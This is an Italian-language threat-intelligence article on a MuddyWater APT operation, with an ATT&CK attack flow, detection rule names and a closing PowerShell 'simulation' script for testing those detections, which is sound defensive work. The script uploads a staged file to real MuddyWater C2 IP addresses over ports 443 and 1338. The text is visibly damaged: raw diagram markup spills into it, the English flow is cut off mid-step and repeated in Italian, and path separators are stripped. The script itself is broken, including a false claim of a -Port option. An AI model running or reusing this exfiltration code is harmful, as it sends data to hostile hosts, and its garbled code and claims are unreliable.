SOC Prime Bias: Critical

06 Apr 2026 16:42 UTC

MuddyWater Svelato: All’interno di un’operazione APT iraniana

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
MuddyWater Svelato: All’interno di un’operazione APT iraniana
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

I ricercatori hanno identificato un set di intrusioni di MuddyWater (Static Kitten) che ha combinato diversi framework C2 su misura con lo sfruttamento opportunistico di numerose falle esposte a internet e attacchi di brute force su credenziali ad alto volume. Gli operatori hanno concatenato strumenti di ricognizione, accesso iniziale e furto di dati per compromettere obiettivi in tutto il Medio Oriente, in Europa e negli Stati Uniti.

Indagine

Gli investigatori hanno sequestrato infrastrutture esposte da un VPS ospitato nei Paesi Bassi ed estratto i binari per tre server C2 costruiti appositamente: KeyC2, PersianC2 e ArenaC2. Hanno anche recuperato strumenti di supporto, tra cui caricatore basato su PowerShell e payload Node.js utilizzati per la messa in scena e l’esecuzione. L’attività includeva una scansione ampia per CVE esposti al pubblico, seguita da sfruttamento, e incorporava contratti smart su blockchain come un meccanismo per risolvere o aggiornare dinamicamente gli endpoint C2.

Mitigazione

Dare priorità alla correzione dei CVE menzionati e ridurre la superficie di attacco rafforzando le difese e limitando l’esposizione di servizi esposti al pubblico. Bloccare o limitare severamente il traffico UDP in uscita sconosciuto sulla porta 1269 e monitorare gli artefatti di esecuzione legati ai binari C2 personalizzati e ai loro distintivi schemi di comando. Applicare il principio del minimo privilegio per account VPN e amministrativi su dispositivi di rete e aumentare la copertura di rilevamento per comportamenti anomali in PowerShell e sessioni in uscita criptate verso IP non familiari.

Risposta

Se vengono osservati indicatori, isolare i sistemi colpiti, preservare artefatti di memoria e disco e bloccare immediatamente i domini/IP C2 identificati. Eseguire un triage forense degli loader recuperati e degli script Node.js per delimitare l’esecuzione e la persistenza. Correggere tutte le vulnerabilità sfruttate e ruotare qualsiasi credenziali che potrebbero essere state esposte attraverso brute force o furto.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Step 1 – Active Scanning: Vulnerability Scanning step1["<b>Action</b> – <b>T1595.002 Active Scanning: Vulnerability Scanning</b><br/>Tool: Nuclei<br/>Description: Mass‑scan public services for exploitable CVEs such as FortiOS CVE‑2024‑55591 and Ivanti CVE‑2026‑1281."] class step1 action tool_nuclei["<b>Tool</b> – <b>Name</b>: Nuclei<br/><b>Description</b>: High‑speed vulnerability scanner used for large‑scale internet probing."] class tool_nuclei tool step1 –>|uses| tool_nuclei step1 –>|leads_to| step2 %% Step 2 – Gather Victim Network Information: DNS step2["<b>Action</b> – <b>T1590.002 Gather Victim Network Information: DNS</b><br/>Tools: subfinder, Sudomy, OneForAll<br/>Description: Enumerate subdomains and DNS records for targets such as clearview.ai and jewishagency.org."] class step2 action tool_subfinder["<b>Tool</b> – <b>Name</b>: subfinder<br/><b>Description</b>: Fast passive subdomain discovery tool."] class tool_subfinder tool step2 –>|uses| tool_subfinder step2 –>|leads_to| step3 %% Step 3 – Active Scanning: Wordlist Scanning step3["<b>Action</b> – <b>T1595.003 Active Scanning: Wordlist Scanning</b><br/>Tool: ffuf<br/>Description: Brute‑force web directories with a medium‑size wordlist to discover hidden resources."] class step3 action tool_ffuf["<b>Tool</b> – <b>Name</b>: ffuf<br/><b>Description</b>: Fast web‑fuzzer for directory and file discovery."] class tool_ffuf tool step3 –>|uses| tool_ffuf step3 –>|leads_to| step4 %% Step 4 – Search Open Technical Databases: Scan Databases step4["<b>Action</b> – <b>T1596.005 Search Open Technical Databases: Scan Databases</b><br/>Tool: Shodan CLI<br/>Description: Query Shodan for vulnerable Ivanti devices using service signatures and favicon hashes."] class step4 action tool_shodan["<b>Tool</b> – <b>Name</b>: Shodan CLI<br/><b>Description</b>: Command‑line interface to the Shodan internet‑exposure search engine."] class tool_shodan tool step4 –>|uses| tool_shodan step4 –>|leads_to| step5 %% Step 5 – Brute Force: Password Spraying step5["<b>Action</b> – <b>T1110.003 Brute Force: Password Spraying</b><br/>Tool: Python owa.py script<br/>Description: Spray common passwords against Outlook Web Access and SMTP services of Israeli, Jordanian and UAE organisations."] class step5 action tool_owa["<b>Tool</b> – <b>Name</b>: owa.py<br/><b>Description</b>: Python script that performs password‑spraying attacks against OWA endpoints."] class tool_owa tool step5 –>|uses| tool_owa step5 –>|leads_to| step6 %% Step 6 – Brute Force: Password Guessing step6["<b>Action</b> – <b>T1110.001 Brute Force: Password Guessing</b><br/>Tool: Patator<br/>Description: Attempt SMTP logins with credential lists to obtain valid accounts."] class step6 action tool_patator["<b>Tool</b> – <b>Name</b>: Patator<br/><b>Description</b>: Multi‑protocol brute‑forcing tool supporting SMTP, SSH, HTTP, etc."] class tool_patator tool step6 –>|uses| tool_patator step6 –>|leads_to| step7 %% Step 7 – Exploit Public‑Facing Application step7["<b>Action</b> – <b>T1190 Exploit Public‑Facing Application</b><br/>Technique: Novel SQL injection flaws in BaSalam and a Postgres development platform.<br/>Description: Exploit crafted SQLi payloads to obtain initial foothold on web servers."] class step7 action step7 –>|leads_to| step8 %% Step 8 – Exploitation of Remote Services step8["<b>Action</b> – <b>T1210 Exploitation of Remote Services</b><br/>Tool: Neo‑reGeorg ASPX web‑shell<br/>Description: Upload web‑shell to compromised Exchange server for persistence and remote command execution."] class step8 action malware_neoregeorg["<b>Malware</b> – <b>Name</b>: Neo‑reGeorg ASPX web‑shell<br/><b>Description</b>: ASPX web‑shell providing remote command execution and tunneling capabilities."] class malware_neoregeorg malware step8 –>|uploads| malware_neoregeorg step8 –>|leads_to| step9 %% Step 9 – Boot or Logon Autostart Execution: Registry Run Keys step9["<b>Action</b> – <b>T1547.001 Boot or Logon Autostart Execution: Registry Run Keys</b><br/>Malware: Node.js payload VfZUSQi6oerKau.js<br/>Description: Create HKCUSoftwareMicrosoftWindowsCurrentVersionRun key for persistence."] class step9 action malware_nodejs["<b>Malware</b> – <b>Name</b>: VfZUSQi6oerKau.js<br/><b>Description</b>: Obfuscated Node.js payload that writes a Run‑key for persistence."] class malware_nodejs malware step9 –>|creates| malware_nodejs step9 –>|leads_to| step10 %% Step 10 – Server Software Component: Web Shell step10["<b>Action</b> – <b>T1505.003 Server Software Component: Web Shell</b><br/>Component: Neo‑reGeorg web‑shell (nfud.aspx)<br/>Description: Enables remote command execution on compromised server."] class step10 action malware_nfud["<b>Malware</b> – <b>Name</b>: nfud.aspx<br/><b>Description</b>: ASPX web‑shell variant used for persistent access."] class malware_nfud malware step10 –>|implements| malware_nfud step10 –>|leads_to| step11 %% Step 11 – Create Account: Local Account step11["<b>Action</b> – <b>T1136.001 Create Account: Local Account</b><br/>Result: Privileged admin account "FortiSetup" with super_admin profile.<br/>Description: Modified FortiGate exploit scripts to add a persistent local admin account."] class step11 action step11 –>|leads_to| step12 %% Step 12 – Obfuscated Files or Information step12["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>Malware: Node.js payloads<br/>Description: Payloads heavily obfuscated and AES‑CBC encrypted before being written to disk."] class step12 action malware_obf["<b>Malware</b> – <b>Name</b>: Encrypted Node.js payloads<br/><b>Description</b>: AES‑CBC encrypted blobs stored on the victim file system."] class malware_obf malware step12 –>|produces| malware_obf step12 –>|leads_to| step13 %% Step 13 – Deobfuscate/Decode Files or Information step13["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Tool: PowerShell loader reset.ps1<br/>Description: Decrypts AES‑CBC encrypted blobs at runtime."] class step13 action tool_psloader["<b>Tool</b> – <b>Name</b>: reset.ps1<br/><b>Description</b>: PowerShell script that decrypts and loads malicious payloads in memory."] class tool_psloader tool step13 –>|uses| tool_psloader step13 –>|leads_to| step14 %% Step 14 – Reflective Code Loading step14["<b>Action</b> – <b>T1620 Reflective Code Loading</b><br/>Technique: PowerShell loader loads decrypted Node.js components reflectively in memory."] class step14 action step14 –>|leads_to| step15 %% Step 15 – Application Layer Protocol: Web Protocols step15["<b>Action</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>C2: PersianC2<br/>Description: HTTP polling using JSON API endpoints to retrieve commands."] class step15 action c2_persian["<b>C2</b> – <b>Name</b>: PersianC2<br/><b>Description</b>: HTTP‑based command and control using JSON polling."] class c2_persian c2 step15 –>|communicates_via| c2_persian step15 –>|leads_to| step16 %% Step 16 – Non‑Application Layer Protocol step16["<b>Action</b> – <b>T1095 Non‑Application Layer Protocol</b><br/>C2: KeyC2<br/>Description: Custom binary protocol over UDP port 1269 for beaconing and command execution."] class step16 action c2_key["<b>C2</b> – <b>Name</b>: KeyC2<br/><b>Description</b>: UDP‑based covert channel using proprietary binary format."] class c2_key c2 step16 –>|communicates_via| c2_key step16 –>|leads_to| step17 %% Step 17 – Web Service: Dead Drop Resolver step17["<b>Action</b> – <b>T1102.001 Web Service: Dead Drop Resolver</b><br/>Technique: Query Ethereum smart contracts to resolve C2 server IP addresses dynamically."] class step17 action step17 –>|leads_to| step18 %% Step 18 – Web Service: Bidirectional Communication step18["<b>Action</b> – <b>T1102.002 Web Service: Bidirectional Communication</b><br/>C2: ArenaC2 (FastAPI/uvicorn)<br/>Description: HTTP POST interface encrypting traffic with AES‑256‑CBC."] class step18 action c2_arena["<b>C2</b> – <b>Name</b>: ArenaC2<br/><b>Description</b>: FastAPI server providing encrypted bidirectional C2 channel."] class c2_arena c2 step18 –>|uses| c2_arena step18 –>|leads_to| step19 %% Step 19 – Web Service: One‑Way Communication step19["<b>Action</b> – <b>T1102.003 Web Service: One‑Way Communication</b><br/>Component: Minimal Flask server (web.py) on port 10443 accepting file uploads for exfiltration."] class step19 action malware_flask["<b>Malware</b> – <b>Name</b>: web.py<br/><b>Description</b>: Simple Flask app acting as a dead‑drop for stolen data."] class malware_flask malware step19 –>|implements| malware_flask step19 –>|leads_to| step20 %% Step 20 – Protocol Tunneling step20["<b>Action</b> – <b>T1572 Protocol Tunneling</b><br/>Tool: Neo‑reGeorg acting as SOCKS proxy (resocks, revsocks) to tunnel into internal networks."] class step20 action step20 –>|leads_to| step21 %% Step 21 – Proxy: External Proxy step21["<b>Action</b> – <b>T1090.002 Proxy: External Proxy</b><br/>Listeners: resocks and revsocks creating external SOCKS proxies for lateral movement."] class step21 action step21 –>|leads_to| step22 %% Step 22 – Encrypted Channel: Symmetric Cryptography step22["<b>Action</b> – <b>T1573.001 Encrypted Channel: Symmetric Cryptography</b><br/>Technique: ArenaC2 encrypts all C2 traffic with AES‑256‑CBC using a hard‑coded key."] class step22 action step22 –>|leads_to| step23 %% Step 23 – Dynamic Resolution step23["<b>Action</b> – <b>T1568 Dynamic Resolution</b><br/>Method: Smart‑contract calls (getString) on Ethereum return active C2 IP list (e.g., 185.236.25.119)."] class step23 action step23 –>|leads_to| step24 %% Step 24 – Exfiltration to Cloud Storage step24["<b>Action</b> – <b>T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage</b><br/>Tool: rclone<br/>Destination: Wasabi S3, put.io<br/>Description: Upload stolen files to cloud storage accounts."] class step24 action tool_rclone["<b>Tool</b> – <b>Name</b>: rclone<br/><b>Description</b>: Command‑line program for syncing files to cloud storage services."] class tool_rclone tool step24 –>|uses| tool_rclone step24 –>|leads_to| step25 %% Step 25 – Exfiltration Over C2 Channel step25["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Capability: KeyC2 and PersianC2 support file download commands to retrieve data from victims."] class step25 action step25 –>|leads_to| step26 %% Step 26 – Exfiltration Over Alternative Protocol step26["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b>

Attacco TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Passo 1 – Scansione attiva: Scansione delle vulnerabilità step1[“<b>Azione</b> – <b>T1595.002 Scansione attiva: Scansione delle vulnerabilità</b><br/>Strumento: Nuclei<br/>Descrizione: Scansione in massa dei servizi pubblici per CVE sfruttabili come FortiOS CVE‑2024‑55591 e Ivanti CVE‑2026‑1281.”] class step1 action tool_nuclei[“<b>Strumento</b> – <b>Nome</b>: Nuclei<br/><b>Descrizione</b>: Scanner di vulnerabilità ad alta velocità usato per il sondaggio su larga scala di internet.”] class tool_nuclei tool step1 –>|usa| tool_nuclei step1 –>|porta_a| step2 %% Passo 2 – Raccogliere informazioni sulla rete della vittima: DNS step2[“<b>Azione</b> – <b>T1590.002 Raccogliere informazioni sulla rete della vittima: DNS</b><br/>Strumenti: subfinder, Sudomy, OneForAll<br/>Descrizione: Enumerare i sottodomini e i record DNS per obiettivi come clearview.ai e jewishagency.org.”] class step2 action tool_subfinder[“<b>Strumento</b> – <b>Nome</b>: subfinder<br/><b>Descrizione</b>: Strumento rapido di scoperta passiva di sottodomini.”] class tool_subfinder tool step2 –>|usa| tool_subfinder step2 –>|porta_a| step3 %% Passo 3 – Scansione attiva: Scansione di lista di parole step3[“<b>Azione</b> – <b>T1595.003 Scansione attiva: Scansione di lista di parole</b><br/>Strumento: ffuf<br/>Descrizione: Forzare con la forza bruta le directory web con una lista di parole di media dimensione per scoprire risorse nascoste.”] class step3 action tool_ffuf[“<b>Strumento</b> – <b>Nome</b>: ffuf<br/><b>Descrizione</b>: Fuzzer web veloce per la scoperta di directory e file.”] class tool_ffuf tool step3 –>|usa| tool_ffuf step3 –>|porta_a| step4 %% Passo 4 – Cercare database tecnici aperti: Scansione dei database step4[“<b>Azione</b> – <b>T1596.005 Cercare database tecnici aperti: Scansione dei database</b><br/>Strumento: Shodan CLI<br/>Descrizione: Interrogare Shodan per dispositivi Ivanti vulnerabili utilizzando firme di servizio e hash favicon.”] class step4 action tool_shodan[“<b>Strumento</b> – <b>Nome</b>: Shodan CLI<br/><b>Descrizione</b>: Interfaccia a riga di comando per il motore di ricerca di esposizione a internet di Shodan.”] class tool_shodan tool step4 –>|usa| tool_shodan step4 –>|porta_a| step5 %% Passo 5 – Brute Force: Password Spraying step5[“<b>Azione</b> – <b>T1110.003 Brute Force: Password Spraying</b><br/>Strumento: Script Python owa.py<br/>Descrizione: Spruzzamento di password comuni contro servizi Outlook Web Access e SMTP di organizzazioni israeliane, giordane e degli Emirati Arabi Uniti.”] class step5 action tool_owa[“<b>Strumento</b> – <b>Nome</b>: owa.py<br/><b>Descrizione</b>: Script Python che esegue attacchi di password spraying contro endpoint OWA.”] class tool_owa tool step5 –>|usa| tool_owa step5 –>|porta_a| step6 %% Passo 6 – Brute Force: Password Guessing step6[“<b>Azione</b> – <b>T1110.001 Brute Force: Password Guessing</b><br/>Strumento: Patator<br/>Descrizione: Tentare accessi SMTP con liste di credenziali per ottenere account validi.”] class step6 action tool_patator[“<b>Strumento</b> – <b>Nome</b>: Patator<br/><b>Descrizione</b>: Strumento di brute forcing multi-protocollo che supporta SMTP, SSH, HTTP, ecc.”] class tool_patator tool step6 –>|usa| tool_patator step6 –>|porta_a| step7 %% Passo 7 – Sfruttare applicazioni esposte pubblicamente step7[“<b>Azione</b> – <b>T1190 Sfruttare applicazioni esposte pubblicamente</b><br/>Tecnica: Nuovi difetti di iniezione SQL in piattaforma di sviluppo Postgres e BaSalam.<br/>Descrizione: Sfruttamento di payload SQLI appositamente realizzati per ottenere un accesso iniziale sui server web.”] class step7 action step7 –>|porta_a| step8 %% Passo 8 – Sfruttamento di servizi remoti step8[“<b>Azione</b> – <b>T1210 Sfruttamento di servizi remoti</b><br/>Strumento: Web-shell Neo-reGeorg ASPX<br/>Descrizione: Caricare una web-shell su un server Exchange compromesso per la persistenza e l’esecuzione di comandi remoti.”] class step8 action malware_neoregeorg[“<b>Malware</b> – <b>Nome</b>: Neo-reGeorg ASPX web-shell<br/><b>Descrizione</b>: Web-shell ASPX che offre capacità di esecuzione comandi remoti e di tunneling.”] class malware_neoregeorg malware step8 –>|carica| malware_neoregeorg step8 –>|porta_a| step9 %% Passo 9 – Esecuzione automatica di avvio o accesso: Chiavi di esecuzione del registro step9[“<b>Azione</b> – <b>T1547.001 Esecuzione automatica di avvio o accesso: Chiavi di esecuzione del registro</b><br/>Malware: Payload Node.js VfZUSQi6oerKau.js<br/>Descrizione: Creare chiave HKCUSoftwareMicrosoftWindowsCurrentVersionRun per la persistenza.”] class step9 action malware_nodejs[“<b>Malware</b> – <b>Nome</b>: VfZUSQi6oerKau.js<br/><b>Descrizione</b>: Payload Node.js offuscato che scrive una chiave di esecuzione per la persistenza.”] class malware_nodejs malware step9 –>|crea| malware_nodejs step9 –>|porta_a| step10 %% Passo 10 – Componente software del server: Web Shell step10[“<b>Azione</b> – <b>T1505.003 Componente software del server: Web Shell</b><br/>Componente: Web-shell Neo-reGeorg (nfud.aspx)<br/>Descrizione: Abilita l’esecuzione di comandi remoti su server compromesso.”] class step10 action malware_nfud[“<b>Malware</b> – <b>Nome</b>: nfud.aspx<br/><b>Descrizione</b>: Variante Web-shell ASPX usata per accesso persistente.”] class malware_nfud malware step10 –>|implementa| malware_nfud step10 –>|porta_a| step11 %% Passo 11 – Creare Account: Account locale step11[“<b>Azione</b> – <b>T1136.001 Creare Account: Account locale</b><br/>Risultato: Account admin privilegiato “FortiSetup” con profilo super_admin.<br/>Descrizione: Script di sfruttamento FortiGate modificati per aggiungere un account locale admin persistente.”] class step11 action step11 –>|porta_a| step12 %% Passo 12 – File o informazioni offuscati step12[“<b>Azione</b> – <b>T1027 File o informazioni offuscati</b><br/>Malware: Payload Node.js<br/>Descrizione: Payload ampiamente offuscato e criptato AES‑CBC prima dell’essere scritto su disco.”] nclass step12 action malware_obf[“<b>Malware</b> – <b>Nome</b>: Payload Node.js criptati<br/><b>Descrizione</b>: Blob criptati AES-CBC memorizzati nel file system della vittima.”] class malware_obf malware step12 –>|produce| malware_obf step12 –>|porta_a| step13 %% Passo 13 – Deoffuscazione/Decodifica di file o informazioni step13[“<b>Azione</b> – <b>T1140 Deoffuscazione/Decodifica di file o informazioni</b><br/>Strumento: Caricatore PowerShell reset.ps1<br/>Descrizione: Decritta blob criptati AES-CBC a runtime.”] class step13 action tool_psloader[“<b>Strumento</b> – <b>Nome</b>: reset.ps1<br/><b>Descrizione</b>: Script PowerShell che decritta e carica payload malevoli in memoria.”] class tool_psloader tool step13 –>|usa| tool_psloader step13 –>|porta_a| step14 %% Passo 14 – Caricamento del codice riflessivo step14[“<b>Azione</b> – <b>T1620 Caricamento del codice riflessivo</b><br/>Tecnica: Caricatore PowerShell carica componenti Node.js decrittati riflessivamente in memoria.”] class step14 action step14 –>|porta_a| step15 %% Passo 15 – Protocollo a livello applicativo: Protocolli Web step15[“<b>Azione</b> – <b>T1071.001 Protocollo a livello applicativo: Protocolli Web</b><br/>C2: PersianC2<br/>Descrizione: Polling HTTP usando endpoint API JSON per recuperare comandi.”] class step15 action c2_persian[“<b>C2</b> – <b>Nome</b>: PersianC2<br/><b>Descrizione</b>: Comando e controllo basato su HTTP usando polling JSON.”] class c2_persian c2 step15 –>|comunica_via| c2_persian step15 –>|porta_a| step16 %% Passo 16 – Protocollo non a livello applicativo step16[“<b>Azione</b> – <b>T1095 Protocollo non a livello applicativo</b><br/>C2: KeyC2<br/>Descrizione: Protocollo binario personalizzato su porta UDP 1269 per beaconing ed esecuzione di comandi.”] class step16 action c2_key[“<b>C2</b> – <b>Nome</b>: KeyC2<br/><b>Descrizione</b>: Canale coperto basato su UDP usando formato binario proprietario.”] class c2_key c2 step16 –>|comunica_via| c2_key step16 –>|porta_a| step17 %% Passo 17 – Servizio Web: Resolver mortale step17[“<b>Azione</b> – <b>T1102.001 Servizio Web: Resolver mortale</b><br/>Tecnica: Interrogare i contratti smart su Ethereum per risolvere dinamicamente gli indirizzi IP del server C2.”] class step17 action step17 –>|porta_a| step18 %% Passo 18 – Servizio Web: Comunicazione bidirezionale step18[“<b>Azione</b> – <b>T1102.002 Servizio Web: Comunicazione bidirezionale</b><br/>C2: ArenaC2 (FastAPI/uvicorn)<br/>Descrizione: Interfaccia HTTP POST che crittografa il traffico con AES‑256‑CBC.”] class step18 action c2_arena[“<b>C2</b> – <b>Nome</b>: ArenaC2<br/><b>Descrizione</b>: Server FastAPI che fornisce un canale C2 crittografato bidirezionale.”] class c2_arena c2 step18 –>|usa| c2_arena step18 –>|porta_a| step19 %% Passo 19 – Servizio Web: Comunicazione unidirezionale step19[“<b>Azione</b> – <b>T1102.003 Servizio Web: Comunicazione unidirezionale</b><br/>Componente: Server Flask minimale (web.py) sulla porta 10443 che accetta caricamenti di file per esfiltrazione.”] class step19 action malware_flask[“<b>Malware</b> – <b>Nome</b>: web.py<br/><b>Descrizione</b>: Semplice app Flask che funge da depository per dati rubati.”] class malware_flask malware step19 –>|implementa| malware_flask step19 –>|porta_a| step20 %% Passo 20 – Tunneling del protocollo step20[“<b>Azione</b> – <b>T1572 Tunneling del protocollo</b><br/>Strumento: Neo-reGeorg che funge da proxy SOCKS (resocks, revsocks) per creare il tunnel nelle reti interne.”] class step20 action step20 –>|porta_a| step21 %% Passo 21 – Proxy: Proxy esterno step21[“<b>Azione</b> – <b>T1090.002 Proxy: Proxy esterno</b><br/>Listener: resocks e revsocks che creano proxy SOCKS esterni per movimento laterale.”] class step21 action step21 –>|porta_a| step22 %% Passo 22 – Canale crittografato: Crittografia simmetrica step22[“<b>Azione</b> – <b>T1573.001 Canale crittografato: Crittografia simmetrica</b><br/>Tecnica: ArenaC2 crittografa tutto il traffico C2 con AES‑256‑CBC usando una chiave hard-coded.”] class step22 action step22 –>|porta_a| step23 %% Passo 23 – Risoluzione dinamica step23[“<b>Azione</b> – <b>T1568 Risoluzione dinamica</b><br/>Metodo: Chiamate a contratti smart (getString) su Ethereum restituiscono lista di IP C2 attivi (es. 185.236.25.119).”] class step23 action step23 –>|porta_a| step24 %% Passo 24 – Esfiltrazione su archiviazione cloud step24[“<b>Azione</b> – <b>T1567.002 Esfiltrazione tramite servizio web: Esfiltrazione su archiviazione cloud</b><br/>Strumento: rclone<br/>Destinazione: Wasabi S3, put.io<br/>Descrizione: Caricare file rubati su account di archiviazione cloud.”] class step24 action tool_rclone[“<b>Strumento</b> – <b>Nome</b>: rclone<br/><b>Descrizione</b>: Programma a riga di comando per sincronizzare file su servizi di archiviazione cloud.”] class tool_rclone tool step24 –>|usa| tool_rclone step24 –>|porta_a| step25 %% Passo 25 – Esfiltrazione tramite canale C2 step25[“<b>Azione</b> – <b>T1041 Esfiltrazione tramite canale C2</b><br/>Capacità: KeyC2 e PersianC2 supportano comandi di download file per recuperare dati dalle vittime.”] class step25 action step25 –>|porta_a| step26 %% Passo 26 – Esfiltrazione tramite protocollo alternativo step26[“<b>Azione</b> – <b>T1048 Esfiltrazione tramite protocollo alternativo</b><br/>Metodo: Server HTTP Flask e istanza EC2 (18.223.24.218) usati per spingere un grande volume di dati fuori dall’ambiente della vittima.”] class step26 action

Flusso di attacco

Rilevamenti

Nome abbreviazione file (via cmdline)

Team di SOC Prime
01 Apr 2026

File sospetti nel profilo pubblico utente (via file_event)

Team di SOC Prime
01 Apr 2026

Possibile esfiltrazione di dati tramite Rclone (via cmdline)

Team di SOC Prime
01 Apr 2026

Esecuzione sospetta dal profilo pubblico utente (via process_creation)

Team di SOC Prime
01 Apr 2026

Chiamata a metodi sospetti .NET da PowerShell (via powershell)

Team di SOC Prime
01 Apr 2026

Esecuzione di binari NodeJS da posizione insolita (via cmdline)

Team di SOC Prime
01 Apr 2026

Possibile utilizzo di strumenti di tunneling [Windows] (via cmdline)

Team di SOC Prime
01 Apr 2026

Caricatore PowerShell ed esfiltrazione di dati tramite WebClient [Windows PowerShell]

Regole AI di SOC Prime
01 Apr 2026

Rilevamento di MuddyWater Password Spraying e Forza Bruta SMTP [Windows Process Creation]

Regole AI di SOC Prime
01 Apr 2026

Rilevamento dell’esfiltrazione e sfruttamento di MuddyWater Fortinet [Firewall]

Regole AI di SOC Prime
01 Apr 2026

Esecuzione di simulazione

Prerequisito: Il controllo Pre-Flight del Telemetria e Baseline deve essere stato superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione e comandi dell’attacco:

    1. Ricognizione e messa in scena dei dati: L’attaccante enumera i file locali (T1005) e scrive un piccolo payload (secret.txt) sulla workstation.
    2. Impostazione della comunicazione C2: Utilizzando PowerShell (T1059.001), l’attaccante realizza un POST HTTPS al server C2 di MuddyWater 194.11.246.101 sulla porta 443, incorporando i dati messi in scena.
    3. Canale alternativo (Porta non standard): Per eludere semplici regole basate sulle porte, l’attaccante ripete l’esfiltrazione sulla porta 1338 utilizzando Invoke-WebRequest con l’opzione -Port (PowerShell 7+).
    4. Catena Proxy opzionale: La richiesta viene instradata attraverso un proxy esterno (T1090.002), ma l’indirizzo IP di destinazione finale rimane l’host di MuddyWater, assicurando che i log del firewall conservino il dst_ip.
  • Script per test di regressione:

    # Simulazione di esfiltrazione MuddyWater – PowerShell
    # ------------------------------------------------
    # Passo 1: Creare dati fittizi
    $dataPath = "$env:TEMPsecret.txt"
    "Dati sensibili $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8
    
    # Passo 2: Definire gli endpoint C2
    $c2Ips = @('194.11.246.101','18.223.24.218')
    $c2Ports = @(443,1338)
    
    # Passo 3: Caricare via HTTPS (porta 443)
    foreach ($ip in $c2Ips) {
        $uri = "https://$ip/upload"
        Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
    }
    
    # Passo 4: Caricare via porta personalizzata 1338 (richiede PowerShell 7+)
    foreach ($ip in $c2Ips) {
        $uri = "http://$ip:1338/upload"
        Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
    }
    
    # Passo 5: Pulizia
    Remove-Item -Path $dataPath -Force
  • Comandi di pulizia:

    # Rimuovere eventuali connessioni di rete persistenti (Windows)
    Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 |
        Where-Object { $_.State -eq 'Established' } |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Eliminare i file temporanei (ri-eseguire se necessario)
    $tempFile = "$env:TEMPsecret.txt"
    if (Test-Path $tempFile) { Remove-Item $tempFile -Force }